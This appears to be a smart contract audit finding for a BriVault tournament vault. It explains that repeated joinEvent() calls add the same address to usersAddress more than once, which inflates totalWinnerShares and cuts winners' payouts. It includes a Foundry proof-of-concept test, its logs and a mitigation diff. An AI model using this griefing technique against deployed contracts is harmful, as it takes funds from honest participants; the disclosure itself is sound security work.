Description
-
Normal behaviour:
A normal tournament flow: users deposit() stake assets, call joinEvent(countryId) to pick a team, owner calls setWinner() after the event, and winners call withdraw() to receive their share. Each participant’s payout is computed as:
assetToWithdraw = shares * finalizedVaultAsset / totalWinnerShares
where shares is the participant’s current vault shares and totalWinnerShares is the sum of snapshots recorded for the winning country.
-
Specific issue:
joinEvent() appends msg.sender to usersAddress without deduplication. _getWinnerShares() iterates usersAddress and adds userSharesToCountry[user][winnerCountryId] for every array entry. As a result, the same address recorded multiple times contributes multiple times to totalWinnerShares, while that address’s withdraw() numerator remains a single balanceOf(msg.sender). Duplicate entries therefore increase the denominator and reduce every winner’s payout.
function joinEvent(uint256 countryId) public {
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
@> usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
}
function _getWinnerShares () internal returns (uint256) {
@> for (uint256 i = 0; i < usersAddress.length; ++i) {
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}
Risk
Likelihood:
-
When a participant calls joinEvent() repeatedly after a single deposit (no guard against duplicate joins), the contract records duplicates in usersAddress.
-
When an attacker controls multiple addresses (Sybil), they can create many entries cheaply (small deposits or repeated join behavior), inflating the denominator.
Impact:
-
Winners’ payouts are reduced proportionally to the inflated totalWinnerShares.
-
Attack can be used as griefing (reduce everyone’s payout for low cost) or, with multiple accounts (Sybil), to materially reduce honest winners’ payouts.
-
In extreme cases the large array can increase gas cost of setWinner() / _getWinnerShares() and cause a gas-based DoS.
Proof of Concept
function test_duplicateJoin_affectsPayouts() public {
uint256 countryId = 5;
uint256 depositAmt = 0.5 ether;
uint256 dupCount = 3;
vm.prank(user1);
mockToken.approve(address(briVault), type(uint256).max);
vm.prank(user2);
mockToken.approve(address(briVault), type(uint256).max);
vm.startPrank(user1);
briVault.deposit(depositAmt, user1);
briVault.joinEvent(countryId);
vm.stopPrank();
vm.startPrank(user2);
briVault.deposit(depositAmt, user2);
briVault.joinEvent(countryId);
vm.stopPrank();
for (uint256 i = 0; i < (dupCount - 1); ++i) {
vm.prank(user1);
briVault.joinEvent(countryId);
}
uint256 count = briVault.numberOfParticipants();
console.log("numberOfParticipants (after duplicates):", count);
for (uint256 i = 0; i < count; ++i) {
address a = briVault.usersAddress(i);
console.log("usersAddress[", i, "] =", a);
console.log(" snapshot:", briVault.userSharesToCountry(a, countryId));
console.log(" shares:", briVault.balanceOf(a));
}
vm.warp(block.timestamp + 40 days);
vm.prank(owner);
string memory w = briVault.setWinner(countryId);
console.log("winner set:", w);
console.log("totalWinnerShares:", briVault.totalWinnerShares());
console.log("finalizedVaultAsset:", briVault.finalizedVaultAsset());
uint256 balUser1Before = mockToken.balanceOf(user1);
uint256 balUser2Before = mockToken.balanceOf(user2);
console.log("balances before withdraw user1:", balUser1Before, " user2:", balUser2Before);
vm.prank(user1);
briVault.withdraw();
vm.prank(user2);
briVault.withdraw();
uint256 balUser1After = mockToken.balanceOf(user1);
uint256 balUser2After = mockToken.balanceOf(user2);
console.log("balances after withdraw user1:", balUser1After, " user2:", balUser2After);
console.log("user1 received:", balUser1After - balUser1Before);
console.log("user2 received:", balUser2After - balUser2Before);
assertGt(count, 2, "should have more than 2 participants entries after duplicates");
uint256 receivedUser2 = balUser2After - balUser2Before;
uint256 receivedUser1 = balUser1After - balUser1Before;
assertLt(receivedUser2, receivedUser1 + 1e6, "honest user's payout decreased (rough check)");
}
function test_honestUsers() public {
uint256 countryId = 7;
uint256 deposit = 0.5 ether;
vm.prank(user1);
mockToken.approve(address(briVault), type(uint256).max);
vm.prank(user2);
mockToken.approve(address(briVault), type(uint256).max);
vm.startPrank(user1);
briVault.deposit(deposit, user1);
briVault.joinEvent(countryId);
vm.stopPrank();
vm.startPrank(user2);
briVault.deposit(deposit, user2);
briVault.joinEvent(countryId);
vm.stopPrank();
uint256 count = briVault.numberOfParticipants();
console.log("numberOfParticipants:", count);
vm.warp(block.timestamp + 40 days);
vm.prank(owner);
string memory w = briVault.setWinner(countryId);
console.log("totalWinnerShares:", briVault.totalWinnerShares());
console.log("finalizedVaultAsset:", briVault.finalizedVaultAsset());
uint256 balUser1Before = mockToken.balanceOf(user1);
uint256 balUser2Before = mockToken.balanceOf(user2);
console.log("balances before withdraw user1:", balUser1Before, " user2:", balUser2Before);
vm.prank(user1);
briVault.withdraw();
vm.prank(user2);
briVault.withdraw();
uint256 balUser1After = mockToken.balanceOf(user1);
uint256 balUser2After = mockToken.balanceOf(user2);
console.log("balances after withdraw user1:", balUser1After, " user2:", balUser2After);
console.log("user1 received:", balUser1After - balUser1Before);
console.log("user2 received:", balUser2After - balUser2Before);
}
Attack logs:
[PASS] test_duplicateJoin_affectsPayouts() (gas: 649711)
Logs:
numberOfParticipants (after duplicates): 4
usersAddress[ 0 ] = 0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
snapshot: 492500000000000000
shares: 492500000000000000
usersAddress[ 1 ] = 0x537C8f3d3E18dF5517a58B3fB9D9143697996802
snapshot: 492500000000000000
shares: 492500000000000000
usersAddress[ 2 ] = 0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
snapshot: 492500000000000000
shares: 492500000000000000
usersAddress[ 3 ] = 0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
snapshot: 492500000000000000
shares: 492500000000000000
totalWinnerShares: 1970000000000000000
finalizedVaultAsset: 985000000000000000
balances before withdraw user1: 19500000000000000000 user2: 19500000000000000000
balances after withdraw user1: 19746250000000000000 user2: 19746250000000000000
user1 received: 246250000000000000
user2 received: 246250000000000000
Honest logs:
[PASS] test_honestUsers() (gas: 528781)
Logs:
numberOfParticipants: 2
totalWinnerShares: 985000000000000000
finalizedVaultAsset: 985000000000000000
balances before withdraw user1: 19500000000000000000 user2: 19500000000000000000
balances after withdraw user1: 19992500000000000000 user2: 19992500000000000000
user1 received: 492500000000000000
user2 received: 492500000000000000
-
Immediate consequence: denominators grow while the actual vault balance stays the same → every winner’s payout is reduced (griefing).
Example (per-user deposit = 0.5 ETH, fee 1.5% → stake = 0.4925 ETH):
-
Honest (2 unique participants): finalizedVaultAsset = 0.985 ETH, totalWinnerShares = 0.985 ETH → payout per winner = 0.4925 ETH.
-
Attack (same two deposits but one user joinEvent() ×3): finalizedVaultAsset = 0.985 ETH, totalWinnerShares = 1.97 ETH → payout per winner = 0.24625 ETH (half).
-
Why this matters: attacker doesn’t need to add extra funds to the pool — just repeat joinEvent() (or create many cheap Sybil addresses) to reduce payouts for all winners. This is an integrity/griefing issue and can become a gas-based DoS if the array grows large.
Recommended Mitigation
+import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
...
-contract BriVault is ERC4626, Ownable {
+contract BriVault is ERC4626, Ownable, ReentrancyGuard {
+ // prevent duplicate join from same address
+ mapping(address => bool) public hasJoined;
...
+ error AlreadyJoined();
- function joinEvent(uint256 countryId) public {
+ function joinEvent(uint256 countryId) public nonReentrant {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+
+ // Prevent duplicate joins from the same address (minimal fix)
+ if (hasJoined[msg.sender]) {
+ revert AlreadyJoined();
+ }
+ hasJoined[msg.sender] = true;
+
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
uint256 refundAmount = stakedAsset[msg.sender];
stakedAsset[msg.sender] = 0;
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares);
- IERC20(asset()).safeTransfer(msg.sender, refundAmount);
+ // reset joined-flag so user can re-join or join in next event
+ if (hasJoined[msg.sender]) {
+ hasJoined[msg.sender] = false;
+ }
+
+ IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}
function _getWinnerShares () internal returns (uint256) {
+ // reset accumulator to avoid accumulation on repeated calls
+ totalWinnerShares = 0;
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}
- function deposit(uint256 assets, address receiver) public override returns (uint256) {
+ function deposit(uint256 assets, address receiver) public override nonReentrant returns (uint256) {
...
- function withdraw() external winnerSet {
+ function withdraw() external winnerSet nonReentrant {